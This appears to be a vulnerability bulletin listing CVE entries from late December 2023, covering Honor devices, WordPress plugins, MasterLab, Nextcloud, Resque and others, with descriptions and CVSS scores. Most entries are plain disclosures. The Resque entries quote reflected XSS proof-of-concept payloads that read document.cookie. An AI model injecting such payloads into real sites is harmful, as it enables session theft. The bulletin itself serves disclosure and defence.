Dell BIOS contains an Improper Input Validation vulnerability. A local malicious user with high privileges could potentially exploit this vulnerability in order to corrupt memory on the system.2023-12-226.7CVE-2023-39251
[email protected]
dfir-iris — iris-webIris is a web collaborative platform aiming to help incident responders sharing technical details during investigations. A stored Cross-Site Scripting (XSS) vulnerability has been identified in iris-web, affecting multiple locations in versions prior to v2.3.7. The vulnerability may allow an attacker to inject malicious scripts into the application, which could then be executed when a user visits the affected locations. This could lead to unauthorized access, data theft, or other related malicious activities. An attacker need to be authenticated on the application to exploit this vulnerability. The issue is fixed in version v2.3.7 of iris-web. No known workarounds are available.2023-12-224.6CVE-2023-50712
[email protected]
[email protected]
ffcss — ffcssffcss is a CLI interface to apply and configure Firefox CSS themes. Prior to 0.2.0, the function `lookupPreprocess()` is meant to apply some transformations to a string by disabling characters in the regex `[-_ .]`. However, due to the use of late Unicode normalization of type NFKD, it is possible to bypass that validation and re-introduce all the characters in the regex `[-_ .]`. The `lookupPreprocess()` can be easily bypassed with equivalent Unicode characters like U+FE4D (?), which would result in the omitted U+005F (_), for instance. The `lookupPreprocess()` function is only ever used to search for themes loosely (case insensitively, while ignoring dashes, underscores and dots), so the actual security impact is classified as low. This vulnerability is fixed in 0.2.0. There are no known workarounds.2023-12-285.3CVE-2023-52081
[email protected]
[email protected]
gopeak — masterlabA vulnerability classified as critical has been found in gopeak MasterLab up to 3.3.10. This affects the function sqlInject of the file app/ctrl/framework/Feature.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249147.2023-12-296.3CVE-2023-7144
[email protected]
[email protected]
[email protected]
gopeak — masterlabA vulnerability classified as critical was found in gopeak MasterLab up to 3.3.10. This vulnerability affects the function sqlInject of the file app/ctrl/Framework.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249148.2023-12-296.3CVE-2023-7145
[email protected]
[email protected]
[email protected]
gopeak — masterlabA vulnerability, which was classified as critical, has been found in gopeak MasterLab up to 3.3.10. This issue affects the function sqlInjectDelete of the file app/ctrl/framework/Feature.php of the component HTTP POST Request Handler. The manipulation of the argument phone leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249149 was assigned to this vulnerability.2023-12-296.3CVE-2023-7146
[email protected]
[email protected]
[email protected]
gopeak — masterlabA vulnerability, which was classified as critical, was found in gopeak MasterLab up to 3.3.10. Affected is the function base64ImageContent of the file app/ctrl/User.php. The manipulation of the argument image leads to unrestricted upload. It is possible to launch the attack remotely. VDB-249150 is the identifier assigned to this vulnerability.2023-12-296.3CVE-2023-7147
[email protected]
[email protected]
[email protected]
gopeak — masterlabA vulnerability was found in gopeak MasterLab up to 3.3.10. It has been declared as critical. Affected by this vulnerability is the function add/update of the file app/ctrl/admin/User.php. The manipulation of the argument avatar leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249181 was assigned to this vulnerability.2023-12-294.7CVE-2023-7159
[email protected]
[email protected]
[email protected]
[email protected]
gradio — gradioGradio is an open-source Python package that allows you to quickly build a demo or web application for your machine learning model, API, or any arbitary Python function. Versions of `gradio` prior to 4.11.0 contained a vulnerability in the `/file` route which made them susceptible to file traversal attacks in which an attacker could access arbitrary files on a machine running a Gradio app with a public URL (e.g. if the demo was created with `share=True`, or on Hugging Face Spaces) if they knew the path of files to look for. This issue has been patched in version 4.11.0.2023-12-225.6CVE-2023-51449
[email protected]
[email protected]
[email protected]
hail — hailHail is an open-source, general-purpose, Python-based data analysis tool with additional data types and methods for working with genomic data. Hail relies on OpenID Connect (OIDC) email addresses from ID tokens to verify the validity of a user’s domain, but because users have the ability to change their email address, they could create accounts and use resources in clusters that they should not have access to. For example, a user could create a Microsoft or Google account and then change their email to `[email protected]`. This account can then be used to create a Hail Batch account in Hail Batch clusters whose organization domain is `example.org`. The attacker is not able to access private data or impersonate another user, but they would have the ability to run jobs if Hail Batch billing projects are enabled and create Azure Tenants if they have Azure Active Directory Administrator access.2023-12-295.3CVE-2023-51663
[email protected]
hcl_software — hcl_launchAn HCL UrbanCode Deploy Agent installed as a Windows service in a non-standard location could be subject to a denial of service attack by local accounts.2023-12-286.2CVE-2023-45702
[email protected]
hcl_software — hcl_launchHCL Launch could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.2023-12-284.3CVE-2023-45701
[email protected]
honor — fri-an00Some Honor products are affected by file writing vulnerability, successful exploitation could cause information disclosure.2023-12-296.6CVE-2023-23426
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — honorboardappSome Honor products are affected by information leak vulnerability; successful exploitation could cause the information leak.2023-12-294CVE-2023-23434
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00Some Honor products are affected by incorrect privilege assignment vulnerability; successful exploitation could cause device service exceptions.2023-12-294CVE-2023-23438
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00Some Honor products are affected by information leak vulnerability; successful exploitation could cause the information leak.2023-12-294CVE-2023-23439
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.2023-12-296CVE-2023-51429
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.2023-12-294CVE-2023-23427
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.2023-12-294CVE-2023-23429
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by type confusion vulnerability; successful exploitation could cause information leak.2023-12-294.6CVE-2023-23442
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by type confusion vulnerability; successful exploitation could cause information leak.2023-12-294.6CVE-2023-23443
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.2023-12-294.6CVE-2023-51426
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.2023-12-294.6CVE-2023-51427
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.2023-12-294.6CVE-2023-51428
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os    Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file to overwrite the correct system file.2023-12-294CVE-2023-23435
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by out of bounds read vulnerability, successful exploitation could cause information leak.2023-12-296CVE-2023-23441
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.2023-12-294.4CVE-2023-51430
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by type confusion vulnerability, successful exploitation could cause denial of service.2023-12-294CVE-2023-6939
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00Some Honor products are affected by file writing vulnerability, successful exploitation could cause code execution2023-12-296.5CVE-2023-23424
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file to overwrite the correct system file.2023-12-294CVE-2023-23433
3836d913-7555-4dd0-a509-f5667fdf5fe4
ibm — aixIBM AIX 7.2 and 7.3 could allow a non-privileged local user to exploit a vulnerability in the AIX SMB client to cause a denial of service. IBM X-Force ID: 267963.2023-12-225.5CVE-2023-45165
[email protected]
[email protected]
instipod — duouniversalkeycloakauthenticatorAn information disclosure vulnerability exists in the challenge functionality of instipod DuoUniversalKeycloakAuthenticator 1.0.7 plugin. A specially crafted HTTP request can lead to a disclosure of sensitive information. A user login to Keycloak using DuoUniversalKeycloakAuthenticator plugin triggers this vulnerability.2023-12-234.5CVE-2023-49594
[email protected]
[email protected]
kylinsoft — kylin-system-updaterA vulnerability classified as critical has been found in KylinSoft kylin-system-updater up to 2.0.5.16-0k2.33. Affected is an unknown function of the file /usr/share/kylin-system-updater/SystemUpdater/UpgradeStrategiesDbus.py of the component com.kylin.systemupgrade Service. The manipulation of the argument SetDownloadspeedMax leads to os command injection. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248940. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-255.3CVE-2023-7093
[email protected]
[email protected]
[email protected]
mediawiki — mediawikiAn issue was discovered in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. In includes/logging/RightsLogFormatter.php, group-*-member messages can result in XSS on Special:log/rights.2023-12-226.1CVE-2023-51704
[email protected]
metersphere — metersphereMeterSphere is a one-stop open source continuous testing platform. Prior to 2.10.10-lts, the authenticated attackers can update resources which don’t belong to him if the resource ID is known. This issue if fixed in 2.10.10-lts. There are no known workarounds.2023-12-284.3CVE-2023-50267
[email protected]
micropython — micropythonA vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability.2023-12-295.5CVE-2023-7152
[email protected]
[email protected]
[email protected]
[email protected]
moxa — iologik_e1200
 
A weak cryptographic algorithm vulnerability has been identified in ioLogik E1200 Series firmware versions v3.3 and prior. This vulnerability can help an attacker compromise the confidentiality of sensitive data. This vulnerability may lead an attacker to get unexpected authorization.2023-12-236.5CVE-2023-5962
[email protected]
msgpackr — msgpackrmsgpackr is a fast MessagePack NodeJS/JavaScript implementation. Prior to 1.10.1, when decoding user supplied MessagePack messages, users can trigger stuck threads by crafting messages that keep the decoder stuck in a loop. The fix is available in v1.10.1. Exploits seem to require structured cloning, replacing the 0x70 extension with your own (that throws an error or does something other than recursive referencing) should mitigate the issue.2023-12-286.8CVE-2023-52079
[email protected]
[email protected]
netentsec — ns-asg_application_security_gatewayA vulnerability classified as problematic was found in Netentsec NS-ASG Application Security Gateway 6.3. Affected by this vulnerability is an unknown functionality of the file /protocol/nsasg6.0.tgz. The manipulation leads to information disclosure. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248941 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-255.3CVE-2023-7094
[email protected]
[email protected]
[email protected]
nextcloud — nextcloudThe Nextcloud iOS Files app allows users of iOS to interact with Nextcloud, a self-hosted productivity platform. Prior to version 4.9.2, the application can be used without providing the 4-digit PIN code. Nextcloud iOS Files app should be upgraded to 4.9.2 to receive the patch. No known workarounds are available.2023-12-224.3CVE-2023-49790
[email protected]
[email protected]
[email protected]
nextcloud — server/enterprise_serverNextcloud Server provides data storage for Nextcloud, an open source cloud platform. In Nextcloud Server prior to versions 26.0.9 and 27.1.4; as well as Nextcloud Enterprise Server prior to versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4; when an attacker manages to get access to an active session of another user via another way, they could delete and modify workflows by sending calls directly to the API bypassing the password confirmation shown in the UI. Nextcloud Server versions 26.0.9 and 27.1.4 and Nextcloud Enterprise Server versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4 contain a patch for this issue. No known workarounds are available.2023-12-225.4CVE-2023-49791
[email protected]
[email protected]
[email protected]
nextcloud — server/enterprise_serverNextcloud Server provides data storage for Nextcloud, an open source cloud platform. In Nextcloud Server prior to versions 26.0.9 and 27.1.4; as well as Nextcloud Enterprise Server prior to versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4; when a (reverse) proxy is configured as trusted proxy the server could be tricked into reading a wrong remote address for an attacker, allowing them executing authentication attempts than intended. Nextcloud Server versions 26.0.9 and 27.1.4 and Nextcloud Enterprise Server versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4 contain a patch for this issue. No known workarounds are available.2023-12-225.3CVE-2023-49792
[email protected]
[email protected]
[email protected]
own_health_record — own_health_record
 
A vulnerability was found in MdAlAmin-aol Own Health Record 0.1-alpha/0.2-alpha/0.3-alpha/0.3.1-alpha. It has been rated as problematic. This issue affects some unknown processing of the file includes/logout.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. Upgrading to version 0.4-alpha is able to address this issue. The patch is named 58b413aa40820b49070782c786c526850ab7748f. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-249191.2023-12-304.3CVE-2018-25096
[email protected]
[email protected]
[email protected]
[email protected]
pandora_fms — pandora_fmsImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). It was possible to execute malicious JS code on Visual Consoles. This issue affects Pandora FMS: from 700 through 774.2023-12-296.1CVE-2023-44089
[email protected]
pandora_fms — pandora_fmsImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Pandora FMS on all allows SQL Injection. Arbitrary SQL queries were allowed to be executed using any account with low privileges. This issue affects Pandora FMS: from 700 through 774.2023-12-295.9CVE-2023-44088
[email protected]
pexip — pexip_infinityPexip Infinity before 32 allows Webapp1 XSS via preconfigured links.2023-12-256.1CVE-2023-37225
[email protected]
pexip — virtual_meeting_roomsIn Pexip VMR self-service portal before 3, the same SSH host key is used across different customers’ installations, which allows authentication bypass.2023-12-255.3CVE-2023-40236
[email protected]
phpgurukul — hospital_management_systemA vulnerability, which was classified as problematic, was found in PHPGurukul Hospital Management System 1.0. This affects an unknown part of the file registration.php. The manipulation of the argument First Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249357 was assigned to this vulnerability.2023-12-304.3CVE-2023-7173
[email protected]
[email protected]
[email protected]
[email protected]
phpgurukul — online_notes_sharing_systemA vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /user/add-notes.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248741 was assigned to this vulnerability.2023-12-225.4CVE-2023-7054
[email protected]
[email protected]
[email protected]
phpgurukul — online_notes_sharing_systemA vulnerability classified as problematic has been found in PHPGurukul Online Notes Sharing System 1.0. Affected is an unknown function of the file /user/profile.php of the component Contact Information Handler. The manipulation of the argument mobilenumber leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-248742 is the identifier assigned to this vulnerability.2023-12-225.4CVE-2023-7055
[email protected]
[email protected]
[email protected]
phpgurukul — online_notes_sharing_systemA vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been classified as problematic. This affects an unknown part of the file /user/profile.php. The manipulation of the argument name leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248739.2023-12-224.3CVE-2023-7052
[email protected]
[email protected]
[email protected]
poly — multiple_products
 
A vulnerability classified as problematic was found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This vulnerability affects unknown code of the component HTTP Header Handler. The manipulation of the argument Cookie leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249256.2023-12-295.3CVE-2023-4463
[email protected]
[email protected]
[email protected]
[email protected]
poly — trio_8800A vulnerability was found in Poly Trio 8800 7.2.6.0019 and classified as critical. Affected by this issue is some unknown functionality of the component Test Automation Mode. The manipulation leads to backdoor. It is possible to launch the attack on the physical device. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249260.2023-12-296.2CVE-2023-4467
[email protected]
[email protected]
[email protected]
[email protected]
poly — trio_8800/trio_c60A vulnerability was found in Poly Trio 8800 and Trio C60. It has been classified as problematic. This affects an unknown part of the component Poly Lens Management Cloud Registration. The manipulation leads to missing authorization. It is possible to launch the attack on the physical device. The exploit has been disclosed to the public and may be used. The identifier VDB-249261 was assigned to this vulnerability.2023-12-294.3CVE-2023-4468
[email protected]
[email protected]
[email protected]
[email protected]
pymedusa — medusaMedusa is an automatic video library manager for TV shows. Versions prior to 1.0.19 are vulnerable to unauthenticated blind server-side request forgery (SSRF). The `testDiscord` request handler in `medusa/server/web/home/handler.py` does not validate the user-controlled `discord_webhook` variable and passes it to the `notifiers.discord_notifier.test_notify` method, then `_notify_discord` and finally `_send_discord_msg` method, which sends a POST request to the user-controlled URL on line 64 in `/medusa/notifiers/discord.py`, which leads to a blind server-side request forgery. This issue allows for crafting POST requests on behalf of the Medusa server. Version 1.0.19 contains a fix for the issue.2023-12-225.3CVE-2023-50258
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
pymedusa — medusaMedusa is an automatic video library manager for TV shows. Versions prior to 1.0.19 are vulnerable to unauthenticated blind server-side request forgery (SSRF). The `testslack` request handler in `medusa/server/web/home/handler.py` does not validate the user-controlled `slack_webhook` variable and passes it to the `notifiers.slack_notifier.test_notify` method, then `_notify_slack` and finally `_send_slack` method, which sends a POST request to the user-controlled URL on line 103 in `/medusa/notifiers/slack.py`, which leads to a blind server-side request forgery (SSRF). This issue allows for crafting POST requests on behalf of the Medusa server. Version 1.0.19 contains a fix for the issue.2023-12-225.3CVE-2023-50259
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
red_hat — multiple_productsA flaw was found in shadow-utils. When asking for a new password, shadow-utils asks the password twice. If the password fails on the second attempt, shadow-utils fails in cleaning the buffer used to store the first entry. This may allow an attacker with enough access to retrieve the password from the memory.2023-12-274.7CVE-2023-4641
[email protected]
[email protected]
[email protected]
[email protected]
red_hat — multiple_products
 
A vulnerability was found in systemd-resolved. This issue may allow systemd-resolved to accept records of DNSSEC-signed domains even when they have no signature, allowing man-in-the-middles (or the upstream DNS resolver) to manipulate records.2023-12-235.9CVE-2023-7008
[email protected]
[email protected]
[email protected]
[email protected]
resque — resqueResque is a Redis-backed Ruby library for creating background jobs, placing them on multiple queues, and processing them later. The following paths in resque-web have been found to be vulnerable to reflected XSS: “/failed/?class=<script>alert(document.cookie)</script>” and “/queues/><img src=a onerror=alert(document.cookie)>”. This issue has been patched in version 2.2.1.2023-12-226.3CVE-2023-50725
[email protected]
[email protected]
[email protected]
[email protected]
resque — resqueResque is a Redis-backed Ruby library for creating background jobs, placing them on multiple queues, and processing them later. Reflected XSS issue occurs when /queues is appended with /”><svg%20onload=alert(domain)>. This issue has been patched in version 2.6.0.2023-12-226.3CVE-2023-50727
[email protected]
[email protected]
[email protected]
sentry — symbolicatorSymbolicator is a service used in Sentry. Starting in Symbolicator version 0.3.3 and prior to version 21.12.1, an attacker could make Symbolicator send GET HTTP requests to arbitrary URLs with internal IP addresses by using an invalid protocol. The responses of those requests could be exposed via Symbolicator’s API. In affected Sentry instances, the data could be exposed through the Sentry API and user interface if the attacker has a registered account. The issue has been fixed in Symbolicator release 23.12.1, Sentry self-hosted release 23.12.1, and has already been mitigated on sentry.io on December 18, 2023. If updating is not possible, some other mitigations are available. One may disable JS processing by toggling the option `Allow JavaScript Source Fetching` in `Organization Settings > Security & Privacy` and/or disable all untrusted public repositories under `Project Settings > Debug Files`. Alternatively, if JavaScript and native symbolication are not required, disable Symbolicator completely in `config.yml`.2023-12-224.3CVE-2023-51451
[email protected]
[email protected]
[email protected]
[email protected]
shifuml — shifuA vulnerability has been found in ShifuML shifu 0.12.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file src/main/java/ml/shifu/shifu/core/DataPurifier.java of the component Java Expression Language Handler. The manipulation of the argument FilterExpression leads to code injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249151.2023-12-295CVE-2023-7148
[email protected]
[email protected]
[email protected]
snowflakedb — snowflake-connector-netThe Snowflake .NET driver provides an interface to the Microsoft .NET open source software framework for developing applications. Snowflake recently received a report about a vulnerability in the Snowflake Connector .NET where the checks against the Certificate Revocation List (CRL) were not performed where the insecureMode flag was set to false, which is the default setting. The vulnerability affects versions between 2.0.25 and 2.1.4 (inclusive). Snowflake fixed the issue in version 2.1.5.2023-12-226CVE-2023-51662
[email protected]
[email protected]
sourcecodester — free_and_open_source_inventory_management_systemA vulnerability, which was classified as critical, was found in SourceCodester Free and Open Source Inventory Management System 1.0. This affects an unknown part of the file /ample/app/action/edit_product.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249177 was assigned to this vulnerability.2023-12-296.3CVE-2023-7155
[email protected]
[email protected]
[email protected]
sourcecodester — free_and_open_source_inventory_management_systemA vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /app/ajax/sell_return_data.php. The manipulation of the argument columns[0][data] leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249179.2023-12-296.3CVE-2023-7157
[email protected]
[email protected]
[email protected]
sourcecodester — medicine_tracking_systemA vulnerability, which was classified as critical, has been found in SourceCodester Medicine Tracking System 1.0. This issue affects some unknown processing of the file /classes/Master.php? f=save_medicine. The manipulation of the argument id/name/description leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249095.2023-12-286.3CVE-2023-7123
[email protected]
[email protected]
[email protected]
sourcecodester — medicine_tracking_systemA vulnerability was found in SourceCodester Medicine Tracking System 1.0. It has been rated as critical. This issue affects some unknown processing. The manipulation of the argument page leads to path traversal: ‘../filedir’. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249137 was assigned to this vulnerability.2023-12-286.3CVE-2023-7134
[email protected]
[email protected]
[email protected]
sourcecodester — school_visitor_log_e-bookA vulnerability was found in SourceCodester School Visitor Log e-Book 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file log-book.php. The manipulation of the argument Full Name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248750 is the identifier assigned to this vulnerability.2023-12-225.4CVE-2023-7059
[email protected]
[email protected]
[email protected]
sqlite — sqlite3A vulnerability was found in SQLite SQLite3 up to 3.43.0 and classified as critical. This issue affects the function sessionReadRecord of the file ext/session/sqlite3session.c of the component make alltest Handler. The manipulation leads to heap-based buffer overflow. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-248999.2023-12-295.5CVE-2023-7104
[email protected]
[email protected]
[email protected]
[email protected]
sudo — sudo
 
A flaw was found in sudo in the handling of ipa_hostname, where ipa_hostname from /etc/sssd/sssd.conf was not propagated in sudo. Therefore, it leads to privilege mismanagement vulnerability in applications, where client hosts retain privileges even after retracting them.2023-12-236.6CVE-2023-7090
[email protected]
[email protected]
[email protected]
talent_software — ecopImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Talent Software ECOP allows Reflected XSS. This issue affects ECOP: before 32255.2023-12-286.1CVE-2023-4672
[email protected]
tongda — office_anywhere
 
A vulnerability has been found in Tongda OA 2017 up to 11.9 and classified as critical. Affected by this vulnerability is an unknown functionality of the file general/project/proj/delete.php. The manipulation of the argument PROJ_ID_STR leads to sql injection. The exploit has been disclosed to the public and may be used. Upgrading to version 11.10 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-249367. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-305.5CVE-2023-7180
[email protected]
[email protected]
[email protected]
uniway — uw-302vpA vulnerability was found in Uniway UW-302VP 2.0. It has been rated as problematic. This issue affects some unknown processing of the file /boaform/wlan_basic_set.cgi of the component Admin Web Interface. The manipulation of the argument wlanssid/password leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248939. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-244.3CVE-2023-7092
[email protected]
[email protected]
[email protected]
weiye-jing — datax-webA vulnerability, which was classified as critical, has been found in WeiYe-Jing datax-web 2.1.2. Affected by this issue is some unknown functionality of the file /api/log/killJob of the component HTTP POST Request Handler. The manipulation of the argument processId leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249086 is the identifier assigned to this vulnerability.2023-12-276.3CVE-2023-7116
[email protected]
[email protected]
[email protected]
wordpress — wordpressThe Widget Settings Importer/Exporter Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the wp_ajax_import_widget_dataparameter AJAX action in versions up to, and including, 1.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with subscriber-level permissions and above to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.2023-12-235.4CVE-2020-36769
[email protected]
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in Gesundheit Bewegt GmbH Zippy. This issue affects Zippy: from n/a through 1.6.5.2023-12-286.6CVE-2023-36381
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Themeum WP Crowdfunding allows Stored XSS. This issue affects WP Crowdfunding: from n/a through 2.1.6.2023-12-286.5CVE-2023-50859
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in TMS Booking for Appointments and Events Calendar – Amelia allows Stored XSS. This issue affects Booking for Appointments and Events Calendar – Amelia: from n/a through 1.0.85.2023-12-286.5CVE-2023-50860
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Darren Cooney WordPress Infinite Scroll – Ajax Load More allows Stored XSS. This issue affects WordPress Infinite Scroll – Ajax Load More: from n/a through 6.1.0.1.2023-12-286.5CVE-2023-50874
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Automattic WordPress.Com Editing Toolkit allows Stored XSS. This issue affects WordPress.Com Editing Toolkit: from n/a through 3.78784.2023-12-296.5CVE-2023-50879
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in The BuddyPress Community BuddyPress allows Stored XSS. This issue affects BuddyPress: from n/a through 11.3.1.2023-12-296.5CVE-2023-50880
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in AAM Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More allows Stored XSS. This issue affects Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More: from n/a through 6.9.15.2023-12-296.5CVE-2023-50881
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in The Beaver Builder Team Beaver Builder – WordPress Page Builder allows Stored XSS. This issue affects Beaver Builder – WordPress Page Builder: from n/a through 2.7.2.2023-12-296.5CVE-2023-50889
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Zoho Forms Form plugin for WordPress – Zoho Forms allows Stored XSS. This issue affects Form plugin for WordPress – Zoho Forms: from n/a through 3.0.1.2023-12-296.5CVE-2023-50891
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Brizy.Io Brizy – Page Builder allows Stored XSS. This issue affects Brizy – Page Builder: from n/a through 2.4.29.2023-12-296.5CVE-2023-51396
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Brainstorm Force WP Remote Site Search allows Stored XSS. This issue affects WP Remote Site Search: from n/a through 1.0.4.2023-12-296.5CVE-2023-51397
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in WPFactory Back Button Widget allows Stored XSS. This issue affects Back Button Widget: from n/a through 1.6.3.2023-12-296.5CVE-2023-51399
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Aleksandar Uroševi? Stock Ticker allows Stored XSS. This issue affects Stock Ticker: from n/a through 3.23.4.2023-12-296.5CVE-2023-51541
[email protected]
wordpress — wordpressUnofficial Mobile BankID Integration for WordPress lets users employ Mobile BankID to authenticate themselves on your WordPress site. Prior to 1.0.1, WP-Mobile-BankID-Integration is affected by a vulnerability classified as a Deserialization of Untrusted Data vulnerability, specifically impacting scenarios where an attacker can manipulate the database. If unauthorized actors gain access to the database, they could exploit this vulnerability to execute object injection attacks. This could lead to unauthorized code execution, data manipulation, or data exfiltration within the WordPress environment. Users of the plugin should upgrade to version 1.0.1 (or later), where the serialization and deserialization of OrderResponse objects have been switched out to an array stored as JSON. A possible workaround for users unable to upgrade immediately is to enforce stricter access controls on the database, ensuring that only trusted and authorized entities can modify data. Additionally, implementing monitoring tools to detect unusual database activities could help identify and mitigate potential exploitation attempts.2023-12-276.4CVE-2023-51700
[email protected]
[email protected]
wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in BoxyStudio Booked – Appointment Booking for WordPress | Calendars. This issue affects Booked – Appointment Booking for WordPress | Calendars: from n/a before 2.4.4.2023-12-285.3CVE-2022-36399
[email protected]
